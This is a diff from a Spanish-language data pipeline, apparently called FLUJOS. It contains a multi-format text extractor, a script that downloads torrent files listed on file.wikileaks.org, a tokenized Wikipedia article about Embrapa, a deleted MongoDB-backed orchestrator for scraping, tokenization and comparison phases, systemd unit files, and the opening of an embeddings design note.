with open(ruta_html, 'r', encoding='utf-8', errors='ignore') as f:
soup = BeautifulSoup(f, 'html.parser')
contenido = soup.get_text(separator=' ')
except Exception as e:
print(f"Error leyendo HTML {ruta_html}: {e}")
return contenido
def leer_pptx(ruta_pptx):
contenido = ''
try:
prs = Presentation(ruta_pptx)
for slide in prs.slides:
for shape in slide.shapes:
if hasattr(shape, "text"):
contenido += shape.text + '\n'
except Exception as e:
print(f"Error leyendo PPTX {ruta_pptx}: {e}")
return contenido
def leer_imagen(ruta_imagen):
contenido = ''
try:
texto = pytesseract.image_to_string(Image.open(ruta_imagen))
contenido = texto
except Exception as e:
print(f"Error leyendo Imagen {ruta_imagen}: {e}")
return contenido
def leer_db(ruta_db):
contenido = ''
try:
conn = sqlite3.connect(ruta_db)
cursor = conn.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tablas = cursor.fetchall()
for tabla in tablas:
cursor.execute(f"SELECT * FROM {tabla[0]}")
filas = cursor.fetchall()
for fila in filas:
contenido += ' '.join(map(str, fila)) + '\n'
conn.close()
except Exception as e:
print(f"Error leyendo DB {ruta_db}: {e}")
return contenido
# =========================
# Log y control de procesados
# =========================
def archivo_procesado(carpeta_txt, archivo_limpio):
return os.path.exists(os.path.join(carpeta_txt, archivo_limpio))
def cargar_archivos_procesados(log_file):
if os.path.exists(log_file):
with open(log_file, 'r', encoding='utf-8', errors='ignore') as f:
return set(f.read().splitlines())
return set()
def actualizar_log(archivo, log_file):
with open(log_file, 'a', encoding='utf-8') as f:
f.write(archivo + '\n')
def guardar_informe_procesamiento(nuevos_procesados, procesados_saltados, errores, ruta_archivo_informe):
with open(ruta_archivo_informe, 'w', encoding='utf-8') as f:
f.write(f"{'='*40}\n")
f.write("Informe de procesamiento\n")
f.write(f"{'='*40}\n\n")
f.write(f"Nuevos archivos procesados: {nuevos_procesados}\n")
f.write(f"Archivos ya procesados (saltados): {procesados_saltados}\n")
f.write(f"Errores de procesamiento: {errores}\n")
f.write(f"{'='*40}\n")
# =========================
# Procesador principal
# =========================
def procesar_archivos(carpeta_archivos, carpeta_txt, log_file, ruta_archivo_informe):
archivos_procesados = cargar_archivos_procesados(log_file)
archivos = []
nuevos_procesados = 0
procesados_saltados = 0
errores = 0
for root, dirs, files in os.walk(carpeta_archivos):
for archivo in files:
archivos.append(os.path.join(root, archivo))
total_size = sum(os.path.getsize(archivo) for archivo in archivos if os.path.exists(archivo))
processed_size = 0
for archivo in tqdm(archivos, desc="Procesando archivos", unit="archivo"):
ruta_archivo = archivo
# Nombre limpio: ruta relativa (sanitizada) + sufijo _limpio.txt (PLANO en txt/)
rel = os.path.relpath(archivo, carpeta_archivos)
archivo_limpio = f"{limpiar_nombre_archivo(rel)}_limpio.txt"
if archivo_procesado(carpeta_txt, archivo_limpio) or archivo_limpio in archivos_procesados:
procesados_saltados += 1
print(f"Archivo {archivo} ya ha sido procesado. Saltando...")
continue
contenido = ''
try:
ext = os.path.splitext(archivo)[1].lower()
if ext == '.pdf':
contenido = leer_pdf(ruta_archivo)
elif ext == '.csv':
contenido = leer_csv(ruta_archivo)
elif ext == '.txt':
with open(ruta_archivo, 'r', encoding='utf-8', errors='ignore') as f:
contenido = f.read()
elif ext == '.docx':
contenido = leer_docx(ruta_archivo)
elif ext == '.doc':
contenido = leer_doc(ruta_archivo)
elif ext == '.xlsx':
contenido = leer_xlsx(ruta_archivo)
elif ext == '.xls':
contenido = leer_xls(ruta_archivo)
elif ext == '.zip':
contenido = leer_zip(ruta_archivo, carpeta_archivos)
elif ext in ('.html', '.htm'):
contenido = leer_html(ruta_archivo)
elif ext in ('.pptx', '.ppt'):
contenido = leer_pptx(ruta_archivo)
elif ext in ('.jpg', '.jpeg', '.png', '.bmp', '.tiff'):
contenido = leer_imagen(ruta_archivo)
elif ext == '.db':
contenido = leer_db(ruta_archivo)
else:
errores += 1
print(f"Tipo de archivo no soportado: {archivo}")
continue
if contenido:
texto_limpio = limpiar_texto(contenido)
nombre_txt_limpio = os.path.join(carpeta_txt, archivo_limpio)
with open(nombre_txt_limpio, 'w', encoding='utf-8') as f:
f.write(texto_limpio)
actualizar_log(archivo_limpio, log_file)
nuevos_procesados += 1
print(f"Procesado y guardado: {archivo}")
else:
# Si no hay contenido, igualmente lo contamos como error leve
errores += 1
print(f"Sin contenido extraído: {archivo}")
except Exception as e:
errores += 1
print(f"Error procesando archivo {archivo}: {e}")
if os.path.exists(ruta_archivo):
processed_size += os.path.getsize(ruta_archivo)
tqdm.write(f"Progreso: {processed_size / 1024 / 1024:.2f} MB de {total_size / 1024 / 1024:.2f} MB procesados")
guardar_informe_procesamiento(nuevos_procesados, procesados_saltados, errores, ruta_archivo_informe)
def tokenizar_todos_archivos(carpeta_txt, carpeta_tokenized):
import os
for root, _, files in os.walk(carpeta_txt):
for archivo in files:
# procesa solo .txt (o cambia a '_limpio.txt' si quieres acotar)
if not archivo.endswith('.txt'):
continue
src = os.path.join(root, archivo)
if not os.path.isfile(src):
continue
# misma ruta relativa y MISMO nombre exacto
rel = os.path.relpath(src, carpeta_txt)
dst = os.path.join(carpeta_tokenized, rel)
os.makedirs(os.path.dirname(dst), exist_ok=True)
if not os.path.exists(dst):
with open(src, 'r', encoding='utf-8', errors='ignore') as f:
contenido = f.read()
tokenizar_y_guardar(contenido, dst)
print(f"[TOK] {rel} -> {os.path.relpath(dst, carpeta_tokenized)}")
print("Tokenización completada para todos los archivos.")
# =========================
# Configuración de rutas
# =========================
ruta_base = os.path.dirname(__file__)
ruta_carpeta = os.path.join(ruta_base, 'files') # carpeta de entrada
carpeta_txt = os.path.join(ruta_base, 'txt') # salidas limpias
carpeta_tokenized = os.path.join(ruta_base, 'tokenized') # salidas tokenizadas
log_file = os.path.join(ruta_base, 'archivos_procesados.log')
ruta_archivo_informe = os.path.join(ruta_base, 'procesado_error.txt')
# =========================
# Main
# =========================
if __name__ == "__main__":
os.makedirs(carpeta_txt, exist_ok=True)
os.makedirs(carpeta_tokenized, exist_ok=True)
procesar_archivos(ruta_carpeta, carpeta_txt, log_file, ruta_archivo_informe)
tokenizar_todos_archivos(carpeta_txt, carpeta_tokenized)

View file

@ -0,0 +1,32 @@
#!/bin/bash
# URL de la página web que contiene los enlaces de torrents
URL="https://file.wikileaks.org/"
# Directorio donde se guardarán los torrents descargados
TORRENT_DIR="home/sito/PROGRAMACION/FLUJOS_TODO_FLUJOS_DATOS/TORRENTS/" # Cambia esta ruta al directorio donde quieras guardar los torrents
# Crear el directorio si no existe
mkdir -p "TORRENTS_WIKILEAKS_COMPLETO"
# Descargar la página web
curl -s "$URL" -o /tmp/page.html
# Extraer los enlaces de torrent (supone que los enlaces contienen ".torrent")
grep -oP 'href="\K[^"]+\.torrent' /tmp/page.html > /tmp/torrent_links.txt
# Descargar cada archivo torrent
while IFS= read -r link; do
# Asegurarse de que el enlace es absoluto
if [[ $link != http* ]]; then
link="${URL}${link}"
fi
# Descargar el archivo torrent
aria2c -d "TORRENTS_WIKILEAKS_COMPLETO" "$link"
done < /tmp/torrent_links.txt
# Limpiar archivos temporales
rm /tmp/page.html /tmp/torrent_links.txt
echo "Descarga de torrents completada."

View file

@ -4,7 +4,6 @@ import time
from transformers import BertTokenizer from transformers import BertTokenizer
from collections import Counter from collections import Counter
from tqdm import tqdm from tqdm import tqdm
from wikipedia_utils import buscar_articulos, obtener_contenido_wikipedia
stopwords = [ stopwords = [
"de", "la", "que", "el", "en", "y", "a", "los", "del", "se", "las", "por", "un", "para", "con", "de", "la", "que", "el", "en", "y", "a", "los", "del", "se", "las", "por", "un", "para", "con",

View file

@ -1 +1,945 @@
4 8086 6851 24595 1331 30941 1115 977 11083 11393 8361 30973 6839 1924 5648 2264 8056 29277 2835 1827 11472 3643 29277 2835 1827 1790 5975 4191 24595 3504 2421 22026 2522 5512 3398 6150 4636 7567 8362 29277 2835 1827 2784 15965 3548 3166 4909 7503 5424 2264 6104 2264 11665 2264 1924 2888 8105 30934 10691 1924 3219 4379 8878 6851 10823 3976 2264 11237 1924 4272 4357 3120 4123 2264 11665 7930 3976 6676 2686 2718 7572 8056 2264 5059 5206 4488 21013 4409 17457 1858 1863 2233 1499 2400 23975 14563 12464 6596 6826 8126 18501 8203 5000 8086 8086 11664 2847 9125 3503 3756 2283 8165 2564 12203 18250 5218 17180 20056 1699 7279 2197 1849 2881 9096 2296 29277 19267 2716 8252 10242 5840 29277 19267 2716 1924 18785 979 4166 2287 1858 9997 2264 29277 19267 2716 29857 2881 9096 29277 19267 2716 8252 10511 3287 10242 8056 2881 9096 8512 29277 2835 1827 3319 981 1838 1678 979 4166 19216 30950 979 4166 3120 6552 5436 1924 3350 5824 5927 8512 3255 7503 3385 21700 6428 29277 2835 1827 3385 1092 21700 2822 6796 3385 1016 21700 10072 4496 5424 5873 24595 1331 30941 1115 977 5486 14213 6553 1020 9445 30937 2264 1924 2264 17131 17683 14032 1045 4640 5269 979 979 979 3837 1024 9445 1957 24362 20026 30988 977 30993 24241 30943 30938 1045 4640 5269 28078 3246 1053 2035 1130 979 9561 5788 3126 1299 1420 30936 1239 3837 1331 30941 30973 977 11083 30973 20335 13861 5950 3313 24362 2086 26042 24447 4783 1109 1045 4640 5269 979 979 979 3837 1024 1123 30946 2035 20068 1997 30940 6696 30933 1331 30941 30973 977 11083 30973 1493 30967 30949 30967 1014 1045 4640 5269 979 979 979 4108 981 12193 30935 3396 3858 1150 22012 14876 1023 26042 24447 4783 1109 1150 1634 23072 1650 1331 30941 3197 30935 30935 1502 4099 15000 3855 1159 5 empresa
brasileña
investigación
agropec
##uar
##ia
emb
##ra
##pa
empresa
brasile
##ira
pes
##quis
##a
agropec
##u
##ár
##ia
institución
estatal
federal
pública
brasileña
vinculada
ministerio
agricultura
ganadería
abastecimiento
bras
##il
fundada
26
abril
19
##7
##3
cuyos
objetivos
desarrollar
tecnologías
conocimiento
informaciones
técnicas
científicas
agricultura
ganadería
brasileña
tiene
misión
crear
soluciones
investigación
desarrollo
innovación
sostenibilidad
agricultura
beneficio
sociedad
brasileña
actúa
sistema
compuesto
41
centros
investigación
cinco
unidades
servicios
1
##7
unidades
centrales
presente
casi
federación
9
##7
##90
empleados
cuales
244
##4
investigadores
actúa
coordinación
sistema
nacional
investigación
agropec
##uar
##ia
s
##n
##pa
constituido
instituciones
públicas
federales
universidades
empresas
privadas
fundaciones
forma
cooperativa
ejecutan
##do
investigaciones
diferentes
áreas
geográficas
campos
conocimiento
científico
em
términos
cooperación
internacional
empresa
mantiene
68
acuerdos
bilaterales
cooperación
técnica
3
##7
países
64
instituciones
acuerdos
multilaterales
20
organizaciones
internacionales
principalmente
estudios
parcelas
mantiene
laboratorios
desarrollar
estudios
tecnología
punta
unidos
fran
##cia
países
bajos
oficina
regional
g
##han
##a
compartir
conocimiento
científico
tecnológico
continente
africano
asociados
emb
##ra
##pa
empresas
asociadas
emb
##ra
##pa
empresas
asociadas
emb
##ra
##pa
pueden
reproducir
semillas
derivados
partir
momento
cumplan
requisitos
técnicos
establecidos
organización
unidades
emb
##ra
##pa
centros
investigación
productos
emb
##ra
##pa
[UNK]
camp
##ina
grande
p
##b
investigación
algodón
mam
##ona
ame
##n
##do
##im
ger
##gel
##im
si
##sal
emb
##ra
##pa
arroz
por
##oto
santo
[UNK]
go
##i
##ás
go
investigación
arroz
por
##oto
emb
##ra
##pa
cap
##rino
##s
sobra
##l
ce
investigación
cap
##rino
##s
ov
##inos
emb
##ra
##pa
fores
##tas
colo
##mbo
pr
investigación
especies
forestales
emb
##ra
##pa
ga
##do
corte
campo
grande
ms
investigación
bo
##vinos
corte
emb
##ra
##pa
ganado
leche
ju
##iz
for
##a
mg
investigación
leche
bo
##vinos
leche
emb
##ra
##pa
hortalizas
distrito
federal
d
##f
investigación
hortalizas
ab
##ó
##bora
bata
##ta
bata
##tad
##ul
##ce
ber
##en
##jen
##a
cebol
##la
zana
##hor
##ia
cole
##s
gui
##santes
gar
##ban
##zo
lente
##ja
mand
##io
##ca
mel
##ón
maíz
dulce
mos
##taza
pe
##pino
repo
##llo
tomate
etc
emb
##ra
##pa
mand
##io
##ca
fru
##tic
##ult
##ura
tropical
cruz
das
almas
ba
emb
##ra
##pa
mil
##ho
sor
##go
set
##e
lago
##as
mg
investigación
maíz
sor
##go
mi
##jo
emb
##ra
##pa
pecu
##ár
##ia
sudeste
[UNK]
car
##los
sp
investigación
bo
##vinos
corte
bo
##vinos
leche
equi
##nos
forra
##ji
##cultura
emb
##ra
##pa
pecu
##ár
##ia
sul
ba
##gé
r
##s
investigación
bo
##vinos
corte
bo
##vinos
leche
ov
##inos
emb
##ra
##pa
soja
lon
##dri
##na
pr
investigación
soja
giras
##ol
emb
##ra
##pa
su
##ín
##os
aves
con
##có
##r
##dia
s
##c
investigación
su
##inos
pastos
corte
gallinas
postura
emb
##ra
##pa
trigo
pas
##so
fund
##o
r
##s
investigación
trigo
ce
##bada
tri
##tica
##le
centen
##o
can
##ola
hierbas
forra
##jeras
soja
maíz
por
##oto
desarrollo
soja
adaptada
suelos
ácidos
emb
##ra
##pa
uva
vin
##ho
ben
##to
[UNK]
r
##s
investigación
uva
vino
manzana
frutas
clima
temp
##lado
centros
investigación
temas
básicos
emb
##ra
##pa
agro
##bio
##logia
ser
##op
##é
##dica
r
##j
investigación
fijación
biológica
nitrógeno
agricultura
orgánica
emb
##ra
##pa
agro
##ener
##gia
bras
##íl
##ia
d
##f
investigación
biodi
##és
##el
bio
##gá
##s
eta
##nol
fores
##tas
energéticas
emb
##ra
##pa
agro
##ind
##ús
##tri
##a
alimentos
río
ja
##ne
##iro
r
##j
investigación
tecnología
alimentos
emb
##ra
##pa
agro
##ind
##ús
##tri
##a
tropical
fortaleza
ce
investigación
agro
##ind
##ust
##ria
tropical
ca
##ju
coco
emb
##ra
##pa
informática
agropec
##u
##ár
##ia
camp
##inas
sp
investigación
tecnología
información
agro
##ne
##goci
##os
emb
##ra
##pa
[UNK]
agropec
##u
##ár
##ia
[UNK]
car
##los
sp
investigación
agricultura
precisión
ambiente
biotecnología
##a
automa
##tización
procesos
nuevos
materiales
agricultura
agro
##ind
##ust
##ria
familiar
calidad
##es
productos
materias
primas
emb
##ra
##pa
me
##io
ambiente
ja
##guar
##i
##ún
##a
sp
investigación
manejo
gestión
ambiental
emb
##ra
##pa
monitor
##amento
satélite
camp
##inas
sp
investigación
sistemas
informaciones
geográficas
redes
ele
##trón
##icas
adquisición
procesamiento
imágenes
sensores
remoto
##s
datos
obtenidos
campo
emb
##ra
##pa
recursos
genéticos
bio
##tec
##nol
##o
##gia
bras
##íl
##ia
d
##f
investigación
biotecnología
control
biológico
recursos
genéticos
seguridad
biológica
emb
##ra
##pa
solos
río
ja
##ne
##iro
r
##j
investigación
suelo
interacciones
ambiente
centros
investigación
eco
##r
##re
##gional
##es
emb
##ra
##pa
acre
rio
bran
##co
ac
emb
##ra
##pa
agropec
##u
##ár
##ia
oeste
do
##urado
##s
ms
investigación
región
oeste
bras
##il
emb
##ra
##pa
ama
##pá
ma
##cap
##á
ap
emb
##ra
##pa
[UNK]
oc
##identa
##l
man
##au
##s
am
investigación
ama
##zona
##s
frutas
tropicales
[UNK]
seri
##ng
##ue
##ira
especies
forestales
guar
##aná
pis
##cic
##ult
##ura
emb
##ra
##pa
[UNK]
oriental
bel
##ém
pa
investigación
región
ama
##zon
##ia
oriental
emb
##ra
##pa
cerrados
plana
##lti
##na
d
##f
investigación
desarrollo
innovación
tecnológica
agricultura
biom
##a
cerrado
emb
##ra
##pa
clima
tempera
##do
pelotas
r
##s
investigación
región
clima
temp
##lado
bras
##il
desarrolla
actividades
áreas
recursos
naturales
ambiente
granos
fru
##tic
##ult
##ura
oler
##áceas
sistemas
pecu
##arios
énfasis
ganadería
agricultura
base
familiar
emb
##ra
##pa
me
##ion
##orte
ter
##es
##ina
pi
emb
##ra
##pa
pan
##tana
##l
cor
##um
##b
##á
ms
emb
##ra
##pa
[UNK]
por
##to
vel
##ho
ro
emb
##ra
##pa
ro
##ra
##ima
bo
##a
vista
r
##r
emb
##ra
##pa
semi
##ár
##ido
petrol
##ina
pe
emb
##ra
##pa
tab
##ule
##iro
##s
coste
##iro
##s
ara
##ca
##ju
enlaces
externos
página
oficial
emb
##ra
##pa
##en
inglés
portugués
canal
oficial
emb
##ra
##pa
you
##tu
##be
inglés
portugués
base
datos
investigación
agropec
##uar
##ia
empresas
cre
##dencia
##das
emb
##ra
##pa

File diff suppressed because it is too large Load diff

View file

@ -1,422 +0,0 @@
"""
pipeline_maestro.py
-------------------
Orquesta las tres fases del pipeline FLUJOS en orden estricto:
Fase 1 SCRAPING Wikipedia + Noticias + Imágenes Wikipedia
Fase 2 ANÁLISIS Tokenización texto (BERT) + Análisis imágenes (Qwen3-VL)
Fase 3 COMPARACIÓN Solo documentos nuevos vs corpus existente
Garantías:
- Lockfile: solo una instancia a la vez
- Estado en MongoDB (`pipeline_log`): cada fase registra inicio/fin/stats
- Dedup: índices únicos en todas las colecciones (setup automático)
- Resume: si el proceso muere a mitad, la siguiente ejecución retoma
desde la última fase que no estaba "completado"
Ejecutar manualmente:
python pipeline_maestro.py
python pipeline_maestro.py --solo-fase scraping
python pipeline_maestro.py --solo-fase analisis
python pipeline_maestro.py --solo-fase comparacion
python pipeline_maestro.py --forzar # ignora si una fase ya corrió hoy
"""
import argparse
import fcntl
import logging
import os
import subprocess
import sys
import time
from datetime import datetime, timedelta
from pathlib import Path
from pymongo import MongoClient, ASCENDING
from pymongo.errors import DuplicateKeyError, ConnectionFailure
# ── Rutas ──────────────────────────────────────────────────────────────────────
BASE_DIR = Path(__file__).parent
VENV_PYTHON = BASE_DIR / "myenv/bin/python3"
LOCK_FILE = Path("/tmp/flujos_pipeline.lock")
LOG_FILE = BASE_DIR / "pipeline_maestro.log"
MONGO_URL = os.getenv("MONGO_URL", "mongodb://localhost:27017")
DB_NAME = os.getenv("DB_NAME", "FLUJOS_DATOS")
# Intervalo mínimo entre ejecuciones de cada fase (horas)
# Evita re-ejecutar si el systemd timer se dispara accidentalmente dos veces
MIN_HORAS_ENTRE_FASES = {
"scraping": 20,
"analisis": 20,
"comparacion": 20,
}
# ── Logging ────────────────────────────────────────────────────────────────────
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout),
],
)
log = logging.getLogger("pipeline_maestro")
# ── MongoDB ────────────────────────────────────────────────────────────────────
def get_db():
client = MongoClient(MONGO_URL, serverSelectionTimeoutMS=5000)
client.admin.command("ping")
return client[DB_NAME]
def setup_indices(db):
"""Crea índices únicos para deduplicación en todas las colecciones."""
indices = {
"wikipedia": [("archivo", ASCENDING)],
"noticias": [("archivo", ASCENDING)],
"imagenes": [("archivo", ASCENDING)],
"imagenes_wiki":[("archivo", ASCENDING)],
# comparaciones no tiene índice único — usa upsert por (noticia1, noticia2)
}
for col, keys in indices.items():
try:
if len(keys) == 1:
db[col].create_index(keys, unique=True, background=True)
else:
db[col].create_index(keys, unique=True, background=True)
log.info(f" índice OK: {col}{[k for k,_ in keys]}")
except Exception as e:
log.warning(f" índice {col}: {e}")
# ── Estado de fases ────────────────────────────────────────────────────────────
def fase_estado(db, fase: str) -> dict | None:
"""Devuelve el último registro de la fase, o None si nunca corrió."""
return db["pipeline_log"].find_one({"fase": fase}, sort=[("inicio", -1)])
def fase_necesita_correr(db, fase: str, forzar: bool = False) -> bool:
if forzar:
return True
ultimo = fase_estado(db, fase)
if not ultimo:
return True
if ultimo.get("estado") != "completado":
log.info(f" [{fase}] última ejecución no completó — reintentando")
return True
ultima_fin = ultimo.get("fin")
if not ultima_fin:
return True
horas = MIN_HORAS_ENTRE_FASES.get(fase, 20)
if datetime.utcnow() - ultima_fin < timedelta(hours=horas):
log.info(f" [{fase}] completada hace menos de {horas}h — saltando")
return False
return True
def log_fase_inicio(db, fase: str) -> str:
doc = {
"fase": fase,
"estado": "en_progreso",
"inicio": datetime.utcnow(),
"fin": None,
"stats": {},
}
result = db["pipeline_log"].insert_one(doc)
return str(result.inserted_id)
def log_fase_fin(db, log_id: str, estado: str, stats: dict):
from bson import ObjectId
db["pipeline_log"].update_one(
{"_id": ObjectId(log_id)},
{"$set": {"estado": estado, "fin": datetime.utcnow(), "stats": stats}},
)
def ultima_ejecucion_completada(db, fase: str) -> datetime | None:
"""Devuelve la fecha de fin de la última ejecución completada de la fase."""
doc = db["pipeline_log"].find_one(
{"fase": fase, "estado": "completado"},
sort=[("fin", -1)]
)
return doc["fin"] if doc else None
# ── Lockfile ───────────────────────────────────────────────────────────────────
class PipelineLock:
def __init__(self):
self._f = None
def __enter__(self):
self._f = open(LOCK_FILE, "w")
try:
fcntl.flock(self._f, fcntl.LOCK_EX | fcntl.LOCK_NB)
except BlockingIOError:
log.error("Ya hay una instancia del pipeline corriendo. Saliendo.")
sys.exit(1)
self._f.write(str(os.getpid()))
self._f.flush()
return self
def __exit__(self, *args):
fcntl.flock(self._f, fcntl.LOCK_UN)
self._f.close()
LOCK_FILE.unlink(missing_ok=True)
# ── Ejecutor de scripts ────────────────────────────────────────────────────────
def run_script(script_path: Path, args: list[str] = None, cwd: Path = None) -> bool:
"""Ejecuta un script Python con el venv. Devuelve True si éxito."""
cmd = [str(VENV_PYTHON), str(script_path)] + (args or [])
cwd = cwd or script_path.parent
log.info(f"{' '.join(cmd)}")
result = subprocess.run(cmd, cwd=str(cwd))
if result.returncode != 0:
log.error(f" Script falló con código {result.returncode}: {script_path.name}")
return False
return True
# ── FASE 1: SCRAPING ───────────────────────────────────────────────────────────
def fase_scraping(db, forzar: bool = False):
log.info("\n" + "="*60)
log.info(" FASE 1 — SCRAPING")
log.info("="*60)
if not fase_necesita_correr(db, "scraping", forzar):
return
log_id = log_fase_inicio(db, "scraping")
stats = {}
ok = True
try:
# 1a. Wikipedia — scraper por temas
log.info("\n[1a] Wikipedia scraper")
antes_wiki = db["wikipedia"].count_documents({})
ok_wiki = run_script(
BASE_DIR / "WIKIPEDIA/main.py",
cwd=BASE_DIR / "WIKIPEDIA"
)
despues_wiki = db["wikipedia"].count_documents({})
stats["wikipedia_nuevos"] = despues_wiki - antes_wiki
log.info(f" Wikipedia: +{stats['wikipedia_nuevos']} docs nuevos ({despues_wiki} total)")
if not ok_wiki:
ok = False
# 1b. Noticias — scraper web
log.info("\n[1b] Noticias scraper")
antes_not = db["noticias"].count_documents({})
ok_not = run_script(
BASE_DIR / "NOTICIAS/main_noticias.py",
cwd=BASE_DIR / "NOTICIAS"
)
despues_not = db["noticias"].count_documents({})
stats["noticias_nuevos"] = despues_not - antes_not
log.info(f" Noticias: +{stats['noticias_nuevos']} docs nuevos ({despues_not} total)")
if not ok_not:
ok = False
# 1c. Imágenes Wikipedia — scraper de imágenes por temas de FLUJOS
log.info("\n[1c] Wikipedia image scraper")
imagenes_dir = BASE_DIR / "IMAGENES"
antes_img = db["imagenes_wiki"].count_documents({})
ok_img = run_script(
imagenes_dir / "wikipedia_image_scraper.py",
args=["--flujos", "--max", "20", "--mongo"],
cwd=imagenes_dir,
)
despues_img = db["imagenes_wiki"].count_documents({})
stats["imagenes_wiki_nuevas"] = despues_img - antes_img
log.info(f" Imágenes wiki: +{stats['imagenes_wiki_nuevas']} nuevas ({despues_img} total)")
if not ok_img:
ok = False
# 1d. Comparaciones imagen-texto (imagenes_wiki vs corpus)
log.info("\n[1d] Comparaciones imagen-texto")
antes_comp = db["comparaciones"].count_documents({"source1_type": "imagen"})
ok_comp = run_script(
imagenes_dir / "comparar_imagenes_wiki.py",
args=["--umbral", "3.0"],
cwd=imagenes_dir,
)
despues_comp = db["comparaciones"].count_documents({"source1_type": "imagen"})
stats["comparaciones_imagen_nuevas"] = despues_comp - antes_comp
log.info(f" Comparaciones imagen: +{stats['comparaciones_imagen_nuevas']} nuevas")
if not ok_comp:
ok = False
except Exception as e:
log.error(f" ERROR en fase scraping: {e}")
ok = False
estado = "completado" if ok else "error"
log_fase_fin(db, log_id, estado, stats)
log.info(f"\n Fase scraping: {estado} | {stats}")
return ok
# ── FASE 2: ANÁLISIS ───────────────────────────────────────────────────────────
def fase_analisis(db, forzar: bool = False):
log.info("\n" + "="*60)
log.info(" FASE 2 — ANÁLISIS Y TOKENIZACIÓN")
log.info("="*60)
if not fase_necesita_correr(db, "analisis", forzar):
return
log_id = log_fase_inicio(db, "analisis")
stats = {}
ok = True
try:
# 2a. Análisis de imágenes con Qwen3-VL (resume automático)
log.info("\n[2a] Análisis imágenes Qwen3-VL (resume activado)")
imagenes_dir = BASE_DIR / "IMAGENES"
antes_img = db["imagenes"].count_documents({})
ok_img = run_script(
imagenes_dir / "pipeline_imagenes.py",
args=["--analizar",
"--carpeta", str(imagenes_dir / "output/wiki_images"),
"--mongo"],
cwd=imagenes_dir,
)
despues_img = db["imagenes"].count_documents({})
stats["imagenes_analizadas"] = despues_img - antes_img
log.info(f" Imágenes analizadas: +{stats['imagenes_analizadas']}")
if not ok_img:
ok = False
# 2b. Tokenización texto — pipeline_mongolo (noticias + wikipedia nuevos)
# Solo corre si hay docs nuevos sin tokenizar
log.info("\n[2b] Tokenización texto (pipeline_mongolo)")
comp_dir = BASE_DIR / "COMPARACIONES"
ok_tok = run_script(
comp_dir / "pipeline_mongolo.py",
cwd=comp_dir,
)
if not ok_tok:
ok = False
stats["tokenizacion"] = "ok" if ok_tok else "error"
except Exception as e:
log.error(f" ERROR en fase análisis: {e}")
ok = False
estado = "completado" if ok else "error"
log_fase_fin(db, log_id, estado, stats)
log.info(f"\n Fase análisis: {estado} | {stats}")
return ok
# ── FASE 3: COMPARACIÓN ────────────────────────────────────────────────────────
def fase_comparacion(db, forzar: bool = False):
log.info("\n" + "="*60)
log.info(" FASE 3 — COMPARACIÓN")
log.info("="*60)
if not fase_necesita_correr(db, "comparacion", forzar):
return
log_id = log_fase_inicio(db, "comparacion")
stats = {}
ok = True
try:
comp_dir = BASE_DIR / "COMPARACIONES"
antes = db["comparaciones"].count_documents({})
# Pasar la fecha de la última comparación para modo incremental
ultima = ultima_ejecucion_completada(db, "comparacion")
args = []
if ultima:
args = ["--desde", ultima.strftime("%Y-%m-%d")]
log.info(f" Modo incremental: solo docs desde {ultima.strftime('%Y-%m-%d')}")
else:
log.info(" Primera ejecución: comparando todo el corpus")
ok_comp = run_script(
comp_dir / "pipeline_completo.py",
args=args,
cwd=comp_dir,
)
despues = db["comparaciones"].count_documents({})
stats["comparaciones_nuevas"] = despues - antes
stats["total_comparaciones"] = despues
log.info(f" Comparaciones: +{stats['comparaciones_nuevas']} nuevas ({despues} total)")
if not ok_comp:
ok = False
except Exception as e:
log.error(f" ERROR en fase comparación: {e}")
ok = False
estado = "completado" if ok else "error"
log_fase_fin(db, log_id, estado, stats)
log.info(f"\n Fase comparación: {estado} | {stats}")
return ok
# ── Main ───────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description="Pipeline maestro FLUJOS")
parser.add_argument("--solo-fase", choices=["scraping", "analisis", "comparacion"],
help="Ejecutar solo una fase específica")
parser.add_argument("--forzar", action="store_true",
help="Ignorar cooldown entre ejecuciones")
args = parser.parse_args()
inicio = datetime.utcnow()
log.info(f"\n{'='*60}")
log.info(f" FLUJOS PIPELINE MAESTRO — {inicio.strftime('%Y-%m-%d %H:%M UTC')}")
log.info(f"{'='*60}")
try:
db = get_db()
log.info(" MongoDB: conectado")
except ConnectionFailure as e:
log.error(f" MongoDB no disponible: {e}")
sys.exit(1)
# Setup índices dedup (idempotente)
log.info("\n Configurando índices de deduplicación...")
setup_indices(db)
with PipelineLock():
if args.solo_fase == "scraping" or not args.solo_fase:
fase_scraping(db, args.forzar)
if args.solo_fase == "analisis" or not args.solo_fase:
fase_analisis(db, args.forzar)
if args.solo_fase == "comparacion" or not args.solo_fase:
fase_comparacion(db, args.forzar)
duracion = datetime.utcnow() - inicio
log.info(f"\n Pipeline completado en {duracion}")
# Mostrar resumen del estado actual de la BD
log.info("\n Estado MongoDB:")
for col in ["wikipedia", "noticias", "imagenes", "imagenes_wiki", "comparaciones"]:
try:
n = db[col].count_documents({})
log.info(f" {col:20s}: {n:,}")
except Exception:
pass
if __name__ == "__main__":
main()

View file

@ -1,27 +0,0 @@
[Unit]
Description=FLUJOS Pipeline Maestro (scraping → análisis → comparación)
After=network.target mongod.service
Requires=mongod.service
[Service]
Type=oneshot
User=__USER__
WorkingDirectory=__INSTALL_DIR__/FLUJOS_DATOS
Environment=MONGO_URL=mongodb://localhost:27017
Environment=DB_NAME=FLUJOS_DATOS
Environment=HF_HOME=__INSTALL_DIR__/FLUJOS_DATOS/IMAGENES/model_cache
ExecStart=__INSTALL_DIR__/FLUJOS_DATOS/myenv/bin/python3 \
__INSTALL_DIR__/FLUJOS_DATOS/pipeline_maestro.py
# 12h máximo (análisis VLM en CPU puede tardar)
TimeoutStartSec=43200
Restart=no
StandardOutput=journal
StandardError=journal
SyslogIdentifier=flujos-pipeline
[Install]
WantedBy=multi-user.target

View file

@ -1,18 +0,0 @@
[Unit]
Description=Ejecutar FLUJOS Pipeline cada 12 horas
Requires=flujos-pipeline.service
[Timer]
# Cada 12 horas: a las 00:00 y 12:00
OnCalendar=*-*-* 00,12:00:00
# Si el servidor estaba apagado a las 3am, ejecutar al arrancar
Persistent=true
# Esperar 2 min tras el arranque para que MongoDB esté listo
OnBootSec=2min
Unit=flujos-pipeline.service
[Install]
WantedBy=timers.target

View file

@ -1,180 +0,0 @@
# Arquitectura de embeddings y correlación semántica
Cómo se representan los documentos como vectores y cómo se derivan de ahí las aristas
noticia↔leak del grafo. Reemplaza el solape de palabras del pipeline original.
